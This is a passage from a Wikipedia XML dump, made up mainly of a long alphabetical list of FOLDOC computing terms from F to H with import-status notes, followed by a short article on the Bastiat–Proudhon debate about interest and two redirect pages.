FTP server&lt;br&gt;
FTP Software, Inc.&lt;br&gt;
FTTP&lt;br&gt;
FTX&lt;br&gt;
FUBAR&lt;br&gt;
FUD&lt;br&gt;
fudge&lt;br&gt;
fudge factor&lt;br&gt;
Fudgets&lt;br&gt;
FUDGIT&lt;br&gt;
FUD wars&lt;br&gt;
Fuel-can&lt;br&gt;
Fugue&lt;br&gt;
Fujitsu&lt;br&gt;
full-custom&lt;br&gt;
full-duplex&lt;br&gt;
full-duplex Switched Ethernet&lt;br&gt;
full laziness&lt;br&gt;
full-motion video&lt;br&gt;
full outer join&lt;br&gt;
fully associative cache&lt;br&gt;
Fully Automated Compiling Technique&lt;br&gt;
fully lazy lambda lifting&lt;br&gt;
fully qualified domain name&lt;br&gt;
fum&lt;br&gt;
function&lt;br&gt;
functional&lt;br&gt;
functional database&lt;br&gt;
functional dependency&lt;br&gt;
functionality&lt;br&gt;
functional language&lt;br&gt;
functional program&lt;br&gt;
functional programming&lt;br&gt;
functional programming language&lt;br&gt;
functional requirements&lt;br&gt;
functional specification&lt;br&gt;
functional testing&lt;br&gt;
functional unit&lt;br&gt;
function application&lt;br&gt;
function complete&lt;br&gt;
Function Graph Language&lt;br&gt;
function key&lt;br&gt;
Function Point Analysis&lt;br&gt;
functor&lt;br&gt;
funky&lt;br&gt;
FUNLOG&lt;br&gt;
FunnelWeb&lt;br&gt;
funny money&lt;br&gt;
furigana&lt;br&gt;
furrfu&lt;br&gt;
FUSE&lt;br&gt;
FUSION&lt;br&gt;
fusion&lt;br&gt;
FutureBasic&lt;br&gt;
future date testing&lt;br&gt;
futz&lt;br&gt;
fuzzball&lt;br&gt;
fuzzy computing&lt;br&gt;
fuzzy logic&lt;br&gt;
fuzzy subset&lt;br&gt;
fweep&lt;br&gt;
FWIW&lt;br&gt;
fx&lt;br&gt;
FX-87&lt;br&gt;
FX-90&lt;br&gt;
FYA&lt;br&gt;
FYI&lt;br&gt;
FYI4&lt;br&gt;
G&lt;br&gt;
&amp;lt&lt;br&gt;g&amp;gt&lt;br&gt;&lt;br&gt;
G2&lt;br&gt;
G3&lt;br&gt;
G4&lt;br&gt;
GA&lt;br&gt;
ga&lt;br&gt;
Gabriel&lt;br&gt;
gabriel&lt;br&gt;
Gabriel, Richard&lt;br&gt;
GADS&lt;br&gt;
Gaelic&lt;br&gt;
gag&lt;br&gt;
GAIA&lt;br&gt;
GAL&lt;br&gt;
Galaxy&lt;br&gt;
Galileo&lt;br&gt;
Gambit&lt;br&gt;
games&lt;br&gt;
game tree&lt;br&gt;
GAMMA&lt;br&gt;
gamma correction&lt;br&gt;
GAMS&lt;br&gt;
gamut&lt;br&gt;
GAN&lt;br&gt;
GANDALF&lt;br&gt;
gang bang&lt;br&gt;
GAP&lt;br&gt;
GAPLog&lt;br&gt;
garbageabetical order&lt;br&gt;
garbage collect&lt;br&gt;
garbage collection&lt;br&gt;
Gargoyle&lt;br&gt;
Garnet&lt;br&gt;
GARP&lt;br&gt;
garply&lt;br&gt;
Gartner Group&lt;br&gt;
gas&lt;br&gt;
GASP&lt;br&gt;
gas plasma display&lt;br&gt;
GAT&lt;br&gt;
GATE&lt;br&gt;
gate&lt;br&gt;
gated&lt;br&gt;
Gates&lt;br&gt;
gateway&lt;br&gt;
Gateway 2000&lt;br&gt;
Gauss&lt;br&gt;
Gaussian distribution&lt;br&gt;
gawk&lt;br&gt;
GB&lt;br&gt;
Gb&lt;br&gt;
gb&lt;br&gt;
g-bell&lt;br&gt;
GBIP&lt;br&gt;
GBML&lt;br&gt;
gbps&lt;br&gt;
GC&lt;br&gt;
GCC&lt;br&gt;
GCL&lt;br&gt;
G-Code&lt;br&gt;
GCOS&lt;br&gt;
GCR&lt;br&gt;
GCT&lt;br&gt;
gd&lt;br&gt;
GDB&lt;br&gt;
GDBPSK&lt;br&gt;
Gödel, Kurt&lt;br&gt;
GDI&lt;br&gt;
GDMO&lt;br&gt;
GDPL&lt;br&gt;
GE&lt;br&gt;
ge&lt;br&gt;
GEA&lt;br&gt;
GEANT&lt;br&gt;
GECOM&lt;br&gt;
GECOS&lt;br&gt;
Gedanken&lt;br&gt;
gedanken&lt;br&gt;
geef&lt;br&gt;
geek&lt;br&gt;
geek out&lt;br&gt;
GEI&lt;br&gt;
GE Information Services&lt;br&gt;
[[Graphical Environment Manager|GEM]] '''DONE'''&lt;br&gt;
gen&lt;br&gt;
gender mender&lt;br&gt;
Gene Amdahl&lt;br&gt;
General Electric Comprehensive Operating System&lt;br&gt;
General Magic&lt;br&gt;
General Packet Radio Service&lt;br&gt;
General Protection Failure&lt;br&gt;
General Protection Fault&lt;br&gt;
General Public Licence&lt;br&gt;
General Public License&lt;br&gt;
General Public Virus&lt;br&gt;
General Purpose Graphic Language&lt;br&gt;
General Purpose Interface Bus&lt;br&gt;
General Purpose Language&lt;br&gt;
General Purpose Macro-generator&lt;br&gt;
General Recursion Theorem&lt;br&gt;
generate&lt;br&gt;
generation&lt;br&gt;
Generic Array Logic&lt;br&gt;
Generic Expert System Tool&lt;br&gt;
generic identifier&lt;br&gt;
genericity&lt;br&gt;
generic markup&lt;br&gt;
generic programming&lt;br&gt;
Generic Routing Encapsulation&lt;br&gt;
Generic Security Service Application Programming Interface&lt;br&gt;
generic thunk&lt;br&gt;
generic type variable&lt;br&gt;
Genesia&lt;br&gt;
genetic algorithm&lt;br&gt;
genetic algorithms&lt;br&gt;
genetic programming&lt;br&gt;
GEnie Services&lt;br&gt;
Genken Programming Language&lt;br&gt;
GENOVA&lt;br&gt;
gensym&lt;br&gt;
Gensym Corporation&lt;br&gt;
Gensym Standard Interface&lt;br&gt;
Gentleman's Portable Coroutine System&lt;br&gt;
GEN-X&lt;br&gt;
Geographical Information System&lt;br&gt;
Geographic Information System&lt;br&gt;
GEORGE&lt;br&gt;
George Boole&lt;br&gt;
GEOS&lt;br&gt;
GEPURS&lt;br&gt;
Gerald&lt;br&gt;
Gerald Sussman&lt;br&gt;
German&lt;br&gt;
GEST&lt;br&gt;
Get a life!&lt;br&gt;
Get a real computer!&lt;br&gt;
get.com&lt;br&gt;
getty&lt;br&gt;
gf&lt;br&gt;
g file&lt;br&gt;
GFLOPS&lt;br&gt;
GFR&lt;br&gt;
gh&lt;br&gt;
GHC&lt;br&gt;
ghost&lt;br&gt;
ghostscript&lt;br&gt;
ghostview&lt;br&gt;
GHz&lt;br&gt;
GI&lt;br&gt;
gi&lt;br&gt;
Gibson, William&lt;br&gt;
gid&lt;br&gt;
GIF&lt;br&gt;
GIF89&lt;br&gt;
GIF89a&lt;br&gt;
GIFF&lt;br&gt;
gig&lt;br&gt;
giga-&lt;br&gt;
gigabit&lt;br&gt;
gigabits per second&lt;br&gt;
gigabyte&lt;br&gt;
gigaflop&lt;br&gt;
gigaflops&lt;br&gt;
GigaHertz&lt;br&gt;
GIGO&lt;br&gt;
gilley&lt;br&gt;
gillion&lt;br&gt;
Gilmore, John&lt;br&gt;
GIM-1&lt;br&gt;
GIN&lt;br&gt;
GINA&lt;br&gt;
Ginger&lt;br&gt;
GIP&lt;br&gt;
GIPS&lt;br&gt;
GIRL&lt;br&gt;
GIS&lt;br&gt;
GKS&lt;br&gt;
GKS-3D&lt;br&gt;
GL&lt;br&gt;
gl&lt;br&gt;
Glammar&lt;br&gt;
glark&lt;br&gt;
Glasgow Haskell Compiler&lt;br&gt;
GLASS&lt;br&gt;
glass&lt;br&gt;
glass box testing&lt;br&gt;
glassfet&lt;br&gt;
glass tty&lt;br&gt;
GLB&lt;br&gt;
glibc&lt;br&gt;
Glish&lt;br&gt;
Glisp&lt;br&gt;
glitch&lt;br&gt;
glob&lt;br&gt;
global index&lt;br&gt;
globalisation&lt;br&gt;
Global Network Navigator&lt;br&gt;
Global Positioning System&lt;br&gt;
Global System for Mobile Communications&lt;br&gt;
glork&lt;br&gt;
GLOS&lt;br&gt;
GLOW&lt;br&gt;
GLS&lt;br&gt;
GLU&lt;br&gt;
glue&lt;br&gt;
glue language&lt;br&gt;
glyph&lt;br&gt;
Glypnir&lt;br&gt;
gm&lt;br&gt;
GMAP&lt;br&gt;
GMD&lt;br&gt;
GMD Toolbox for Compiler Construction&lt;br&gt;
GMT&lt;br&gt;
gn&lt;br&gt;
gnarly&lt;br&gt;
Gnat&lt;br&gt;
GNN&lt;br&gt;
GNOME&lt;br&gt;
Gnome Computers&lt;br&gt;
GNU&lt;br&gt;
GNU archive site&lt;br&gt;
GNU assembler&lt;br&gt;
GNU awk&lt;br&gt;
GNU BC&lt;br&gt;
GNU C&lt;br&gt;
GNU C Library&lt;br&gt;
GNU DC&lt;br&gt;
GNU E&lt;br&gt;
GNU Emacs&lt;br&gt;
GNU General Public License&lt;br&gt;
GNUMACS&lt;br&gt;
GNU mirror site&lt;br&gt;
GNU Network Object Model Environment&lt;br&gt;
Gnuplot&lt;br&gt;
GNU public licence&lt;br&gt;
GNUS&lt;br&gt;
GNU sed&lt;br&gt;
GNU Smalltalk&lt;br&gt;
GNUStep&lt;br&gt;
GNU superoptimiser&lt;br&gt;
Go&lt;br&gt;
goal&lt;br&gt;
Go Back N&lt;br&gt;
gobble&lt;br&gt;
Godzillagram&lt;br&gt;
Goedel&lt;br&gt;
go-faster stripes&lt;br&gt;
Gofer&lt;br&gt;
Goffin&lt;br&gt;
go flatline&lt;br&gt;
GO-GO&lt;br&gt;
GOL&lt;br&gt;
golden&lt;br&gt;
golf ball printer&lt;br&gt;
GOM&lt;br&gt;
gonk&lt;br&gt;
gonkulator&lt;br&gt;
GOOD&lt;br&gt;
Good Thing&lt;br&gt;
Google&lt;br&gt;
googol&lt;br&gt;
googolplex&lt;br&gt;
gopher&lt;br&gt;
Gopher client&lt;br&gt;
Gopher object type&lt;br&gt;
gorets&lt;br&gt;
gorilla arm&lt;br&gt;
go root&lt;br&gt;
gorp&lt;br&gt;
GOSIP&lt;br&gt;
Gosling, James&lt;br&gt;
GOSMACS&lt;br&gt;
Gosperism&lt;br&gt;
GOSPL&lt;br&gt;
gotcha&lt;br&gt;
goto&lt;br&gt;
Gottlob Frege&lt;br&gt;
gov&lt;br&gt;
Government OSI Profile&lt;br&gt;
go voice&lt;br&gt;
GP&lt;br&gt;
gp&lt;br&gt;
GPF&lt;br&gt;
GPIB&lt;br&gt;
GPL&lt;br&gt;
GPM&lt;br&gt;
GPRS&lt;br&gt;
GPS&lt;br&gt;
GPSS&lt;br&gt;
GPV&lt;br&gt;
GPX&lt;br&gt;
gq&lt;br&gt;
gr&lt;br&gt;
GRAAL&lt;br&gt;
Grace Hopper&lt;br&gt;
GRAF&lt;br&gt;
Graffiti&lt;br&gt;
GRAIL&lt;br&gt;
GRAIN&lt;br&gt;
grain&lt;br&gt;
GRAM&lt;br&gt;
grammar&lt;br&gt;
grammar analysis&lt;br&gt;
grammatical inference&lt;br&gt;
granularity&lt;br&gt;
Grapes&lt;br&gt;
Grapevine&lt;br&gt;
graph&lt;br&gt;
Graph Algorithm and Software Package&lt;br&gt;
graph coloring&lt;br&gt;
graph colouring&lt;br&gt;
Graphic ALGOL&lt;br&gt;
Graphical Kernel System&lt;br&gt;
Graphical User Interface&lt;br&gt;
Graphic Display Interface&lt;br&gt;
Graphic Language&lt;br&gt;
graphics accelerator&lt;br&gt;
graphics adapter&lt;br&gt;
graphics adaptor&lt;br&gt;
graphics card&lt;br&gt;
Graphics Interchange Format&lt;br&gt;
Graphics Interface Format&lt;br&gt;
Graphics Language Object System&lt;br&gt;
graphic workstation&lt;br&gt;
Graph-Oriented Object Database&lt;br&gt;
graph plotter&lt;br&gt;
graph reduction&lt;br&gt;
graph rewriting system&lt;br&gt;
GRAPPLE&lt;br&gt;
GRAS&lt;br&gt;
GRASP/Ada&lt;br&gt;
GRASPIN&lt;br&gt;
grault&lt;br&gt;
Gray&lt;br&gt;
graybar land&lt;br&gt;
gray code&lt;br&gt;
gray-scale&lt;br&gt;
&amp;lt&lt;br&gt;gr&amp;amp&lt;br&gt;d&amp;gt&lt;br&gt;&lt;br&gt;
GRE&lt;br&gt;
greater than&lt;br&gt;
greatest common divisor&lt;br&gt;
greatest lower bound&lt;br&gt;
Great Renaming&lt;br&gt;
Great Runes&lt;br&gt;
Great Worm&lt;br&gt;
greek&lt;br&gt;
greeking&lt;br&gt;
Green&lt;br&gt;
Green Book&lt;br&gt;
Green Book CD-ROM&lt;br&gt;
green bytes&lt;br&gt;
green card&lt;br&gt;
green lightning&lt;br&gt;
green machine&lt;br&gt;
green monitor&lt;br&gt;
Green's Theorem&lt;br&gt;
Greenwich Mean Time&lt;br&gt;
Greg Olson&lt;br&gt;
grep&lt;br&gt;
grey-scale&lt;br&gt;
Greystone Technologies&lt;br&gt;
GRG&lt;br&gt;
GRIB&lt;br&gt;
grick&lt;br&gt;
grilf&lt;br&gt;
Grim File Reaper&lt;br&gt;
GRIND&lt;br&gt;
grind&lt;br&gt;
grind crank&lt;br&gt;
GRIP&lt;br&gt;
gripenet&lt;br&gt;
gritch&lt;br&gt;
grix&lt;br&gt;
groff&lt;br&gt;
grok&lt;br&gt;
gronk&lt;br&gt;
gronked&lt;br&gt;
group&lt;br&gt;
Group 3&lt;br&gt;
Group 4&lt;br&gt;
Group Code Recording&lt;br&gt;
group identifier&lt;br&gt;
Group Separator&lt;br&gt;
Group-Sweeping Scheduling&lt;br&gt;
Groupware&lt;br&gt;
[[Groupwise]] '''DONE'''&lt;br&gt;
grovel&lt;br&gt;
grunge&lt;br&gt;
gry&lt;br&gt;
GS&lt;br&gt;
gs&lt;br&gt;
GSBL&lt;br&gt;
GSI&lt;br&gt;
GSL&lt;br&gt;
GSM&lt;br&gt;
GSPL&lt;br&gt;
GSS&lt;br&gt;
GSS-API&lt;br&gt;
gt&lt;br&gt;
gtg&lt;br&gt;
GTL&lt;br&gt;
GT/SQL&lt;br&gt;
gu&lt;br&gt;
guaranteed scheduling&lt;br&gt;
[[guard (computing)|guard]] '''NO IMPORT''' (already exists)&lt;br&gt;
Guarded Horn Clauses&lt;br&gt;
gubbish&lt;br&gt;
GUI&lt;br&gt;
GUIDE&lt;br&gt;
Guide&lt;br&gt;
Guide to Available Mathematical Software&lt;br&gt;
guiltware&lt;br&gt;
gun&lt;br&gt;
gunch&lt;br&gt;
Gunning Transceiver Logic&lt;br&gt;
gunzip&lt;br&gt;
Gupta Corporation&lt;br&gt;
gurfle&lt;br&gt;
guru&lt;br&gt;
guru meditation&lt;br&gt;
Guy Lewis Steele, Jr.&lt;br&gt;
Guy Steele&lt;br&gt;
GVL&lt;br&gt;
gw&lt;br&gt;
GW-Ada&lt;br&gt;
GW-BASIC&lt;br&gt;
gweep&lt;br&gt;
GWHIS&lt;br&gt;
GWM&lt;br&gt;
gy&lt;br&gt;
Gypsy&lt;br&gt;
gz&lt;br&gt;
gzip&lt;br&gt;
h&lt;br&gt;
H.261&lt;br&gt;
H.323&lt;br&gt;
Habitat&lt;br&gt;
hack&lt;br&gt;
hack attack&lt;br&gt;
hacked off&lt;br&gt;
hacked up&lt;br&gt;
hacker&lt;br&gt;
hacker ethic&lt;br&gt;
hacker humour&lt;br&gt;
hacking run&lt;br&gt;
Hacking X for Y&lt;br&gt;
Hackintosh&lt;br&gt;
hackish&lt;br&gt;
hackishness&lt;br&gt;
hackitude&lt;br&gt;
hack mode&lt;br&gt;
hack on&lt;br&gt;
hack together&lt;br&gt;
hack up&lt;br&gt;
hack value&lt;br&gt;
ha ha only serious&lt;br&gt;
hair&lt;br&gt;
hairy&lt;br&gt;
hairy ball&lt;br&gt;
HAKMEM&lt;br&gt;
hakspek&lt;br&gt;
HAL&lt;br&gt;
half-duplex&lt;br&gt;
halftone&lt;br&gt;
HALGOL&lt;br&gt;
HALMAT&lt;br&gt;
HAL/S&lt;br&gt;
Halt and Catch Fire&lt;br&gt;
halting problem&lt;br&gt;
Hamilton&lt;br&gt;
Hamiltonian cycle&lt;br&gt;
Hamiltonian path&lt;br&gt;
Hamiltonian problem&lt;br&gt;
Hamiltonian tour&lt;br&gt;
Hamilton's problem&lt;br&gt;
hammer&lt;br&gt;
Hamming code&lt;br&gt;
Hamming distance&lt;br&gt;
hamster&lt;br&gt;
Han character&lt;br&gt;
HAND&lt;br&gt;
hand cruft&lt;br&gt;
Handel&lt;br&gt;
hand-hacking&lt;br&gt;
Hand-held Personal Computer&lt;br&gt;
handle&lt;br&gt;
hand-roll&lt;br&gt;
handshake&lt;br&gt;
handshaking&lt;br&gt;
handwave&lt;br&gt;
hang&lt;br&gt;
hanja&lt;br&gt;
Hanoi&lt;br&gt;
Han Unification&lt;br&gt;
hanzi&lt;br&gt;
happily&lt;br&gt;
Happy&lt;br&gt;
haque&lt;br&gt;
hard boot&lt;br&gt;
hard-coded&lt;br&gt;
hardcopy&lt;br&gt;
hard disk&lt;br&gt;
hard disk drive&lt;br&gt;
hard drive&lt;br&gt;
hard link&lt;br&gt;
hard sector&lt;br&gt;
hardware&lt;br&gt;
Hardware Abstraction Layer&lt;br&gt;
hardware circular buffer&lt;br&gt;
Hardware Description Language&lt;br&gt;
hardware handshaking&lt;br&gt;
hardwarily&lt;br&gt;
hard-wired&lt;br&gt;
Harris Semiconductor Ltd.&lt;br&gt;
Harvard Graphics&lt;br&gt;
Harvest&lt;br&gt;
Harvest C&lt;br&gt;
hash&lt;br&gt;
hash bucket&lt;br&gt;
hash coding&lt;br&gt;
hash collision&lt;br&gt;
hash function&lt;br&gt;
hashing&lt;br&gt;
hash table&lt;br&gt;
Haskell&lt;br&gt;
Haskell B&lt;br&gt;
Haskell Curry&lt;br&gt;
Haskell User's Gofer System&lt;br&gt;
HASL&lt;br&gt;
HASP&lt;br&gt;
has the X nature&lt;br&gt;
hat&lt;br&gt;
Hayes&lt;br&gt;
Hayes-compatible&lt;br&gt;
HBOOK&lt;br&gt;
hc&lt;br&gt;
HCF&lt;br&gt;
HCI&lt;br&gt;
HCLP&lt;br&gt;
HCPRVR&lt;br&gt;
HCS&lt;br&gt;
HD&lt;br&gt;
HD6309&lt;br&gt;
HDA&lt;br&gt;
HDC&lt;br&gt;
HDD&lt;br&gt;
HDF&lt;br&gt;
HDFL&lt;br&gt;
HDL&lt;br&gt;
HDLC&lt;br&gt;
HDM&lt;br&gt;
HDSL&lt;br&gt;
HDTV&lt;br&gt;
hdx&lt;br&gt;
Head Disk Assembly&lt;br&gt;
header&lt;br&gt;
head normal form&lt;br&gt;
head normalisation theorem&lt;br&gt;
heads down&lt;br&gt;
head-strict&lt;br&gt;
heap&lt;br&gt;
heartbeat&lt;br&gt;
heatseeker&lt;br&gt;
heat sink&lt;br&gt;
heat slug&lt;br&gt;
heavy metal&lt;br&gt;
heavyweight&lt;br&gt;
heavy wizardry&lt;br&gt;
Hebbian&lt;br&gt;
heisenbug&lt;br&gt;
Helen Keller mode&lt;br&gt;
Helix&lt;br&gt;
hello packet&lt;br&gt;
hello, sailor!&lt;br&gt;
hello, world&lt;br&gt;
HELP&lt;br&gt;
henry&lt;br&gt;
HENSA&lt;br&gt;
HEP&lt;br&gt;
HEPDB&lt;br&gt;
HEPiX&lt;br&gt;
HEPnet&lt;br&gt;
HEPVM&lt;br&gt;
HEQS&lt;br&gt;
HERA&lt;br&gt;
HERAKLIT&lt;br&gt;
here document&lt;br&gt;
Herman Hollerith&lt;br&gt;
Hermes&lt;br&gt;
Hesiod&lt;br&gt;
heterogeneous&lt;br&gt;
heterogeneous network&lt;br&gt;
heterogenous&lt;br&gt;
heuristic&lt;br&gt;
heuristics testing&lt;br&gt;
Hewlett-Packard&lt;br&gt;
Hewlett-Packard Graphics Language&lt;br&gt;
Hewlett-Packard Interface Bus&lt;br&gt;
Hewlett Packard Multi Processing Executive&lt;br&gt;
Hewlett Packard Precision Architecture&lt;br&gt;
Hewlett-Packard Visual Engineering Environment&lt;br&gt;
hex&lt;br&gt;
hexadecimal&lt;br&gt;
hexidecimal&lt;br&gt;
hexit&lt;br&gt;
HFC&lt;br&gt;
HHCP&lt;br&gt;
HHOJ&lt;br&gt;
HHOK&lt;br&gt;
HHOS&lt;br&gt;
HIBOL&lt;br&gt;
HID&lt;br&gt;
hidden flag&lt;br&gt;
hierarchical database&lt;br&gt;
[[Hierarchical Data Format]] '''DONE'''&lt;br&gt;
hierarchical file system&lt;br&gt;
Hierarchical Music Specification Language&lt;br&gt;
hierarchical routing&lt;br&gt;
hierarchy&lt;br&gt;
high bit&lt;br&gt;
High bit-rate Digital Subscriber Line&lt;br&gt;
high colour&lt;br&gt;
high density&lt;br&gt;
Higher Education National Software Archive&lt;br&gt;
higher-order function&lt;br&gt;
higher-order macro&lt;br&gt;
High-level Data Link Control&lt;br&gt;
high-level language&lt;br&gt;
high memory area&lt;br&gt;
high moby&lt;br&gt;
High Performance Computing and Communications&lt;br&gt;
High Performance File System&lt;br&gt;
High Performance Fortran&lt;br&gt;
High Performance Parallel Interface&lt;br&gt;
High Performance Routing&lt;br&gt;
High Performance Serial Bus&lt;br&gt;
High Speed Circuit Switched Data&lt;br&gt;
High Speed Connect&lt;br&gt;
high speed serial interface&lt;br&gt;
High Voltage Differential&lt;br&gt;
HIGZ&lt;br&gt;
[[hill climbing]] '''DONE'''&lt;br/&gt; 
HiLog&lt;br&gt;
HIMEM&lt;br&gt;
hing&lt;br&gt;
HINT&lt;br&gt;
HiPAC&lt;br&gt;
HIPPI&lt;br&gt;
hiragana&lt;br&gt;
hirsute&lt;br&gt;
HISTORIAN&lt;br&gt;
history&lt;br&gt;
hit&lt;br&gt;
Hitachi 6309&lt;br&gt;
Hitachi HD64180&lt;br&gt;
HITL&lt;br&gt;
hit rate&lt;br&gt;
hk&lt;br&gt;
HL7&lt;br&gt;
HLISP&lt;br&gt;
HLL&lt;br&gt;
HLLAPI&lt;br&gt;
hlp&lt;br&gt;
hm&lt;br&gt;
HMA&lt;br&gt;
HMAC&lt;br&gt;
HMP&lt;br&gt;
HMSL&lt;br&gt;
HMTL&lt;br&gt;
hn&lt;br&gt;
Hoare powerdomain&lt;br&gt;
Hobbit&lt;br&gt;
hobbit&lt;br&gt;
hog&lt;br&gt;
HOL&lt;br&gt;
HOL-88&lt;br&gt;
HOL-90&lt;br&gt;
hole&lt;br&gt;
hole model&lt;br&gt;
Hollerithabetical order&lt;br&gt;
Hollerith, Herman&lt;br&gt;
Hollywired&lt;br&gt;
HOL-UNITY&lt;br&gt;
holy wars&lt;br&gt;
home box&lt;br&gt;
home machine&lt;br&gt;
home page&lt;br&gt;
Home Phoneline Networking Alliance &lt;br&gt;
HomePNA&lt;br&gt;
homogeneous&lt;br&gt;
homogenous&lt;br&gt;
homomorphism&lt;br&gt;
Honeywell-800 Business Compiler&lt;br&gt;
HOOD&lt;br&gt;
HOOK&lt;br&gt;
hook&lt;br&gt;
hop (telecommunications)&lt;br&gt;
Hope&lt;br&gt;
Hope+&lt;br&gt;
Hope+C&lt;br&gt;
Hopfield model&lt;br&gt;
Hopfield network&lt;br&gt;
horizontal application&lt;br&gt;
horizontal encoding&lt;br&gt;
horizontal loop combination&lt;br&gt;
horizontal microcode&lt;br&gt;
horizontal scan rate&lt;br&gt;
horizontal tabulation&lt;br&gt;
Horn clause&lt;br&gt;
hose&lt;br&gt;
hosed&lt;br&gt;
HOS-STPL&lt;br&gt;
host&lt;br&gt;
host adaptor&lt;br&gt;
Host Command Facility&lt;br&gt;
host-host layer&lt;br&gt;
hostname&lt;br&gt;
host number&lt;br&gt;
Hot Fix&lt;br&gt;
[[HotJava]]&lt;br&gt;
Hotline&lt;br&gt;
Hotline Communications Ltd.&lt;br&gt;
Hotline Connect&lt;br&gt;
hotlink&lt;br&gt;
hotlist&lt;br&gt;
hot spot&lt;br&gt;
Hot Swapable Routing Protocol&lt;br&gt;
hot swapping&lt;br&gt;
HOTT&lt;br&gt;
house wizard&lt;br&gt;
Houston Automatic Spooling Program&lt;br&gt;
HP&lt;br&gt;
hp2ps&lt;br&gt;
H/PC&lt;br&gt;
HPCC&lt;br&gt;
HPcode&lt;br&gt;
HPCode-Plus&lt;br&gt;
HPF&lt;br&gt;
HPFS&lt;br&gt;
[[HP-GL]] '''DONE''' renamed as [[HPGL]]&lt;br&gt;
HP-GL/2 '''DONE''' same as above&lt;br&gt;
HP-IB&lt;br&gt;
HPL&lt;br&gt;
HPLOT&lt;br&gt;
HP-MPE&lt;br&gt;
[[HP-PA]] '''DONE''', renamed as [[PA-RISC]]&lt;br&gt;
HPPI&lt;br&gt;
HPR&lt;br&gt;
HP-SUX&lt;br&gt;
HP-UX&lt;br&gt;
HP VEE&lt;br&gt;
hqx&lt;br&gt;
hr&lt;br&gt;
hs&lt;br&gt;
HSB&lt;br&gt;
HSC&lt;br&gt;
HSCSD&lt;br&gt;
HSL-FX&lt;br&gt;
HSRP&lt;br&gt;
HSSI&lt;br&gt;
HSV&lt;br&gt;
HT&lt;br&gt;
ht&lt;br&gt;
HTH&lt;br&gt;
HTLM&lt;br&gt;
HTML&lt;br&gt;
HTML+&lt;br&gt;
HTTL&lt;br&gt;
HTTP&lt;br&gt;
HTTP/1.0&lt;br&gt;
HTTP cookie&lt;br&gt;
HTTPd&lt;br&gt;
HTTPS&lt;br&gt;
HTTP server&lt;br&gt;
hu&lt;br&gt;
hub&lt;br&gt;
Hubnet&lt;br&gt;
hubs&lt;br&gt;
hue&lt;br&gt;
hue, saturation, brightness&lt;br&gt;
hue, saturation, value&lt;br&gt;
huff&lt;br&gt;
Huffman coding&lt;br&gt;
HUGO&lt;br&gt;
HUGS&lt;br&gt;
Human-Computer Interaction&lt;br&gt;
Human-Computer Interface&lt;br&gt;
Human Interface Device&lt;br&gt;
Human Interface Technology Laboratory&lt;br&gt;
humma&lt;br&gt;
humor&lt;br&gt;
humour&lt;br&gt;
hung&lt;br&gt;
Hungarian Notation&lt;br&gt;
Hungry Programmers&lt;br&gt;
hungry puppy&lt;br&gt;
Hungry ViewKit&lt;br&gt;
hungus&lt;br&gt;
Hunt the Wumpus - Computer game originally on Dartmouth On Line System in the 1970's&lt;br&gt;
Hurd&lt;br&gt;
HVD&lt;br&gt;
Hybrid&lt;br&gt;
Hybrid Fiber Coax&lt;br&gt;
hybrid multiprocessing&lt;br&gt;
hybrid testing&lt;br&gt;
hydrofluorocarbon&lt;br&gt;
HyperBase&lt;br&gt;
Hyper-C&lt;br&gt;
HyperCard&lt;br&gt;
hypercube&lt;br&gt;
Hyperion&lt;br&gt;
hyperlink&lt;br&gt;
Hyper-Man&lt;br&gt;
hypermedia&lt;br&gt;
HyperNeWS&lt;br&gt;
Hyperscript&lt;br&gt;
hyperspace&lt;br&gt;
HyperSPARC&lt;br&gt;
Hyperstrict&lt;br&gt;
HyperTalk&lt;br&gt;
hypertext&lt;br&gt;
Hypertext Markup Language&lt;br&gt;
Hypertext Transfer Protocol&lt;br&gt;
HyperText Transmission Protocol, Secure&lt;br&gt;
hyperware&lt;br&gt;
hysterical reasons&lt;br&gt;
Hytelnet&lt;br&gt;
HyTime&lt;br&gt;

:''See also :'' [[Free On-line Dictionary of Computing]]</text>
    </revision>
  </page>
  <page>
    <title>Frederic Bastiat's debate with Proudhon</title>
    <id>11341</id>
    <revision>
      <id>30758027</id>
      <timestamp>2005-12-09T21:54:14Z</timestamp>
      <contributor>
        <username>Bill37212</username>
        <id>209421</id>
      </contributor>
      <comment>category</comment>
      <text xml:space="preserve">In February 1849, [[Fr%C3%A9d%C3%A9ric_Bastiat|Frédéric Bastiat]] wrote an essay [http://bastiat.org/fr/capital_et_rente.html Capital et Rente] (available in English as [http://bastiat.org/en/capital_and_interest.html Capital and Interest]). It had quite some success in the working class and caused some turmoil within socialist ranks. F. Chevé, writer in the socialist magazine ''La Voix du Peuple'' (the Voice of the People), wrote an open letter to Bastiat in his magazine to question his essay. Bastiat replied, and Chevé decided to publish the reply, with a counter-reply by [[Pierre-Joseph Proudhon|Proudhon]]. The debate went on between Bastiat and Proudhon, until on his 6th and last letter, Proudhon declared the debate closed and Bastiat dead. Bastiat wrote a last reply, but it was not published by ''La Voix du Peuple''; instead, they published the 13 first letters of the debate as a book ''Intérêt et Principal.'' Bastiat published the 14 letters as ''Gratuité du Crédit,'' a 242-page book, included in volume 5 of his complete works.

Some of Proudhon's letters (translated to English, including neither the last one, nor any of the replies by Bastiat) can be found [http://dwardmac.pitzer.edu/anarchist_archives/proudhon/interestletter1.html in the Anarchist Archives]. Letters by Bastiat can hardly be found anywhere. The [http://bastiat.org/fr/lettre2.html second letter] of the debate is on [http://Bastiat.org Bastiat.org] (in French). Another related essay by Bastiat, which contains arguments to reply to the last among letters by Proudhon published above, is [http://bastiat.org/fr/maudit_argent.html Maudit Argent] (available in English as [http://www.mises.org/journals/qjae/pdf/qjae5_3_7.pdf What is Money?]).

At the [http://bastiat.net/en/Bastiat2001 Bastiat'2001] conference, Alain Laurent spoke about Bastiat's supposed influence on Proudhon and his belief that Bastiat's ideas slowly percolated into latter works by Proudhon.

[[Category: Economics]]</text>
    </revision>
  </page>
  <page>
    <title>FOLDOC</title>
    <id>11342</id>
    <revision>
      <id>15909093</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Free On-line Dictionary of Computing]]
</text>
    </revision>
  </page>
  <page>
    <title>Foldoc</title>
    <id>11343</id>
    <revision>
      <id>15909094</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Free On-line Dictionary of Computing]]
</text>
    </revision>
  </page>
  <page>
    <title>First-order predicate</title>
    <id>11344</id>
    <revision>
      <id>23462165</id>
